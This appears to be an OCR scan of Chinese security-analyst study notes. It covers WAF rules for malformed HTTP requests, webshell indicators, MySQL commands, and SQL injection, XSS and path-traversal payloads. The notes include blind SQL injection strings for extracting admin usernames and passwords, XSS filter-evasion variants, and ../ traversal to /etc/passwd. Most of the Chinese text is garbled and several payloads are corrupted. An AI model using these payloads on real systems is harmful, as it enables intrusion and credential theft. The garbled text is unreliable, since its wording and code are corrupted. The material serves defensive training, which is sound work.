1.3t RESHBAKZE

SHEAtRNATE (BE&M: IRitkit, BRobuE, SRR, BiE, MUID, RE REF)
» BSHATEMEREENR (EWNRFMFINELEE) |
o RIESNE. tblb, HHRTR. WESERHTHA

B —MRIENT, EXWEATRRFER, ATTREEMITEE:, B—ERKAE. B, £
PRI TG

1. B R MEIREEttps://x.threatbook.cnXFRIPHBNE ST, FIMTRBFEEEINETA
2. B EEEKEHNEN SO EANELEERRRR (—RELESBIEEEREFERN
)

2.HTTPHHYES

2.1 iB53KURIE K

HE(FZE.: the requested URL's length exceeds the capacity limit
AR : HTTPIESRURHKEBIERIAR XA/, INAERER
2.2 i5RLERI

HFZ(ZE: request exceeds system's limit

A HTTPIESRLEMREBEIIANEFR K/, INIEREM
2.3 lRzskEpig 1<

H£E(ZR: request exceeds system's limit

A HTTPIRALSLERBITENAZ IR R AN, INIEAEMR

2.4 {ERBEFERAGH

£24=8 request method begin with non-capital letters or over load content-length

request method body contains non-capital letters

R HTTPIERITIERNRARSRIESIFRF, tan: get, gET, GeT&
2.5 RHNERRGE

HFZ(ZE: the requested method is unknown

R WAFRIFHIHTTPIERA AN T: GET. POST. HEAD. PUT. DELETE. MKCOL, COPY,
MOVE, OPTIONS, PROPFIND, PROPPATCH. LOCK, UNLOCK,. TRACE. SEARCH. CONNECT,
CHECKOUT, LABEL, UPDATE. REPORT. CHECKIN, CHECKOUT. UNCHECKOUT. MERGE,
MKACTIVITY, BPROPPATCH, MKWORKSPACE, VERSION-CONTROL. BASELINE-CONTROL

2.6 URLFERAEHL

£E(=R: request uri begin neither schema nor slash
request schema contain non-letters

request schema without slash
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request schema with only one slash

request with bad host

request with bad port

k. URIFBRAEMBZLALTLAMER:

1. &2 schema://host:port/path FELEALU/FFL, A0GET abc, GET abc:defs;

2. 2 schema://host:port/path o=, (BHOST=ERFZX, #1: HTTP://2.2.abab.2;

3. B schema://host:port/path F2=,, {BPORT=EZFLRL, U0: POST HTTP://2.2.2.2:2.3

2.7 HTTPRRAFERA S

FHZ(SE.: request protocol only has h,lost others
request protocol only has ht,lost others

request protocol only has htt,lost others

request protocol without splash

request protocol version major non-digit

request protocol version major too long

request protocol version minor non-digit

request protocol version minor too long

Ak : HTTPHRAZEBAGSHLE, tkan: GET/H/1.1,GET/ HTT/1.1,GET / HTTP/1.a,GET / HTTP/0.9
(0.MRAAEEIEEIRAS, HIXHEREWARER)

2.8 HTTPiEKRITASH
£ZY=1: request end failed, bad CRLF

AR HTTPISRLEBE (TR A . GET+SPACE+URI-Path+HTTP/1.1+CRLF, YiRAESEATZIECRLF
i CRLFASSEERT, INAEAREM.

2.9 HTTPRRESA S

HFHEZZR: request with bad protocol version

R HTTPIRASAFHEIEE, BRIRSHFHTTP/1.0, HTTP/1.1XFMRAS
2.10 Z51FURLERZEF

£E8(=8: request forbidden path through

R HTTPIERAYURI-PathshARBEHIL. /IXHFFHRF, AJRERIERIRIZEF IS
2.11 URI-Path@&CRLF

£2Z(=H: request uri decode contain line feed

R HTTPIERAJURI-PathFhREEHIMARABAYEIZIRITAT, Ebal: GET /%0a
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2.12 i5RLBFERASH
HFZ(ZE: request header end failed, bad CRLF

fiA: HTTPIBRLEPFRPLANNGR, than: GET/
HTTP/1.1\r\nHost:172.16.132.207:12345\rab\r\n\r\n

2.13 ZSREVERLER
HFZ(ZE: request could not be understood
R HTTPIBERLEBHHIMESHIHOST, Content-Length, Transfer-Encoding=Eg, IANEREMN
2.14 HTTP/1.1 ERZPHOSTSLER
Z(ZE\: request without header Host
R HTTP 1. URANERPAREZHOSTLERRT, IAAEAEM
2.15 Content-LengthA&5#i

HFZ(ZE: request method requires a valid Content-length

AR : POSTHIPUTIERAER/> Content-Length=E&ak& Content-Length#{BEAIERE, LbaN: Content-
Length: BkContent-Length: 1.22, IAAEAREM

2.16 igKchunkiRsize A5

HZ(ZE: request chunk size is erange!
request chunk size begin with not digit!

request chunk size CR without LF!
R HTTPIEKchunkiRsize RLABIFFFLEN\N\NARSTEE, INAEAERM
2.17 i&RchunkiRbody A &1

£E(=R: request chunk body end without CR!

request chunk body CR without LF!
R HTTPiBERchunkiRbodyZERB\NNR=E, INNEREN
2.18 iFKlast chunkiR A&

ZYZH: request chunk last chunk end without CR!
request chunk last chunk CR without LF!

R HTTPiBERlast chunkiRER\N\NREE, INNEFREM

2.19 i3 RKURIAR I =FFF

£EZY=1: request uri has invisible char!

A FRFBRIAYURIFE S0x00~0x 1 FEERE FANEREN
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2.20 iERURIFIB AT RFFF

HFZ(ZE: request decoded uri has invisible char!

A FERBEMIURIFFEE0x00~0x1 FEERT MFFRHAREREH
2.21 i53KURBFH=FFT

2= request uri has special char!

A REEINURIFEE%WANEREH
3.Webshell

1. — U B IEERjsp. php. py. asp<;

2. —fiRWebRBEX _ HERRNGEM TR mE Flali@Eduid, HEEES AR ITEDS FIE—HR
KHNFBEFHEE jsp(asp/php/Py<E)

3. BT webshell SFEEHRITXIRAITHEE GlanHiTan < EEEIRES L FR B F2FE

HBXRFESHIRECEE=Z 4170 Runtime. getruntime(0, connection(), eval, request SystemZs,

4. —fig webshell EBRTEEXI N AVSAIEH, ATLAR B H I 8E B E username. password Z ZEHYF4F

5. BRAR _HESU BB & webshellEURERY content-typeSEHIE—REEREmultipart/form-
data

6. B I—LE webshellgs$Z, 40 webshellj sp. jspy. jipZs

7. webshellf9ipREEE—RR 24 EEBR FIa0/ upload, /image

4.SQLEN
BENSEEREET:

. show databases; EERTEHIEIERE

. Create database test; BlIFE—/NUtestRIEUERE

. drop database test;fllfg—NUtestAIEIRE

. show tables; FEEFHEIREZ P EEMBIIZE

. use test; I FERRZBINNEIEREIRE

. drop table &%&; HifaE

. Create table &4 (FER1 2£8Y, FEG2 HKAY):

. desc RB,BEMERRNFER

. show create databases FER ;BB IR EINFHEE
. show create table &&; BEECIERAVNEMER

5.8 WEHEREERZERD:

1. (EMIFERSEAY alter table & modify PR FERSEAY,;

2. NIIFTHYFER alter table %45 add FE; FER3EEY

3. RINFERFHEENE alter table R4 add FER FERSERY  after FER;

4. IBRZFR=ER alter table &% drop FER%;

5. (EBUEERIFER alter table &% change [RFREF MIFRETF FEKE

6.SQLIEATHHIAGE:

© VW oo NO U M W IN =

—_
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ERcsE¥n:
EHEnews.aspRSQLIEAFSR AU T :
select * from #£#% where FE=xx , FTLAATLBUTSENXSQLEIAERSFE

RERAFIRTGE
http://xxx/news.asp?id=xx’ (fIII—1ER5|S), WNRHIERRR, WizMNiLeIgeFEENKR
FEZHIR

BEMNEEREREMRIENNE, ENNEEURENRREEFREFGS, WILIAMZEaRIE
FHY, MBRNEEQEERORSHRTM, W %, # FRHRFHUEAFERR

andFi
http://www.Xxxx.com/xxx.asp?id=10"and 1=1IXPMEEKITEEERN, FALAYKREIRIEER

http://www.Xxxx.com/xxx.asp?id=10"and 1=2 {IEIREIPRBELINFR, TEEROMHAE,
AolReR ARSI ENRREN

OrFlif
orfRand¥IMTTEFA—HERY, andRIENREEA G IS, MOREIEREIEREFAS

http://www.xxx.com/xxx.asp?id=10"or 1=1
http://www.xxx.com/xxx.asp?id=10"or 1=2

RSB
EERENAEOREER, L, EEESNE, WS HEENER

http://www.Xxxx.com/xxx.asp?id=10-0
http://www.xxXx.com/xxx.asp?id=10-1

http://www.xxx.com/xxx.asp?id=10+1
ERSQLIENIED:
1THEBETEAR
; and 1=1 and 1=2
2 IBR—RHIRAIBFRFTIERadmin adminuser user pass password &

and O0<>(select count(*) from *)
and O<>(select count(*) from admin) ---#|ir2 G- Eadminixsk#

335540 E MNRBF0< IRXEIEMRIRE 1<IREHRTERAKSHEMNZE T

and O<(select count(*) from admin)
and 1l<(select count(*) from admin)

A FBREFERER Elen() FESEEMN LI VERIIFERETR.
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and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where Ten(H /" FE%Fname)>0)
and 1=(select count(*) from admin where len(_blank>%tg7E 4 Frpassword)>0)

5 EMRENFRKE BRKEMNZE>0%H B2REIEMRE/ILE

and
and
and
and

and
and
and

1=(select
1=(select
1=(select
1=(select

1=(select
1=(select
1=(select

6. JBRERT

and

1=(select

count(*) from
count(*) from
count(*) from
count(*) from

count(*) from

count(*) from
count(*) from

count(*) from

and 1=(select count(*) from

admin
admin
admin
admin

admin
admin
admin

admin
admin

where
where
where
where

where
where
where

where
where

Ten(*)>0)

Ten(name)>6) #i%
lTen(name)>5) IEHI KEZ6
Ten(name)=6) I1E#f

Ten(password)>11) 1EHf
Ten(password)>12) #Hi% K212
Ten(password)=12) I1EH

Teft(name,1)=a) ---JHMH K-S 15—
Teft(name,2)=ab) ---J&fiEH K5 #2847

HUXE—IRII— DX BRI RN A BRI Z MU TR 7 KSHE LR T

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --

XN EIEGTLIBHPAIEFF _blank> 253 R EBEHAVEIFR P AIASSICRERLOK S8
ER BT

347

Bl: ESEEISOPFEEAN, SITECRASTERR, BAMEEMHFRANEIEXNNSEES, KUK

FEZ

S A= EK
KEZ

RIETHIRISFR N EXNSERS, KIMFERGIETE
PIRIERIIRISQLUEN S ENPRIR ST, HEWNTSQLENSZRE
T RBERMBISQUENSENFITON, HERITSQUEANSTELE, PHTEBRIPKIRIP

2. AT EARI DFHEARI B BRI ML ID

3. XIRHLN I DERERANT
4, BEEM R sqEZHERIEAIRY

5. i%EB URLIRISEE DG E B

6. EEHRBRMFARFENNEFAIRINSQUENES, TREESSES (SRHASHREE
7. ARIEIR 1T, ZIEKALEFERE, BEBRFAESRR. BEAMARSEREHRPSH
RIPESARKIP, thAlH—HIEFiREE IRk

7.XSS&%d

ZHAIxsSIET

<script>alert(/xss/)</sript>
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SIS45%d
o5, ‘<script>alert(/xss/)</script>
X515 "<script>alert(/xss/)</script>

BIGS4H: ""<script>alert(/xss/)</script>

ASRERIT
<script>#r%s: </script><script>alert(/xss/)</sript>
<div>¥r%: </div><script>alert(/xss/)</sript>
<a>FR%: </a><script>alert(/xss/)</sript>

<p>Ir%E: </p><script>alert(/xss/)</sript>

ML SMEGIRERIRT, — IR EHTMUS IR/
y =T 70

K'5: <SCRIPT>ALERT(/XSS/)</SCRIPT>

/NE: <script>alert(/xss/)</script>

K/NEIRMH: <sCript>alert(/xss/)</ScRIpT>
Hithr&Ssad BR& 7Flan: /5%)
<script>alert(/xss/)</script>

<a href="x’ onload=alert(/xss/)>xss</a>

<img src="x’ onerror=alert(/xss/)>

X5

+75E]: <script>alert(/xss/)</script>

\3c\73\63\72\69\70\74\3e\61\6c\65\72\74\28\2F\78\73\73\2f\29\3c\2F\73\63\72\69\7
0\74\3e

Javascript:alert(/xss/)
Vbscript:alert(/xss/)
Data://text/html;base64, PHNjcmlwdD5hbGvydCgveHNzLYk8L3NjcmlwdD4=

BEXREXEMXAZT, TERESXLH B ER
flgn:
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</sCriPt><img src="x’ alert(/xss/)></img><a href="x’ onclick=alert(/xss/)>

8.BFRIEMRH
ElpaylcadFEEASHRARBRXMRMRERNY. BREDKRIMHIEIR:
?page=xxx.php
?home=xxx.htm]
?index=xxx.jsp
?file=content
S S
%% K
etc/password
etc/group

C:\boot.int
MRBEXEEEASZULHRES, BIRNSEHTHY, EREEEEERETHEXERER,
SRBNET LA ARSNGB B REIERIN T .
B&Z75E, linux—ER/, windowsiBER\, BEHEE/, EirtaASRRIERIEERKGRIES
fwiS7oE: M)
URLYRES :

../ %le%2e%2f
o\ %2e%2e%5¢

..\ %252e%252e%255c (AUJZURLZwE)

9.4 k&

B g
AR ATR TSN T :

text/html : HTMLIE
text/plain : 4iCAKs=R
text/xml : XML
image/gif : gifEIF =
image/jpeg : jpglEl itk
image/png: pngl&lfikgat

application/xhtml+xml : XHTMLAE =
application/xml: XMLEHEH%
application/atom+xml : Atom XML&
application/json: JSONEE#
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application/pdf: pdfigzl
application/msword : Wword A%k =
application/octet-stream : FEHIEIE G WA SCHE I ED

10.45E31T
10.1 JBOSSRE5Ik

—WEIRXHEF: member, java.util, java.langZ, EftpayloadEEEEFEAR16HFIIRE. AJ
BESNE5|5" W5 |5 ES S5 I TIERIRISIRIE.

10.2 Apache ShiroiEfgf SHIT

CookieFEREEEIZER B ErememberMESE], BNNSHEREEFESE. (INZBHRI<AIER)
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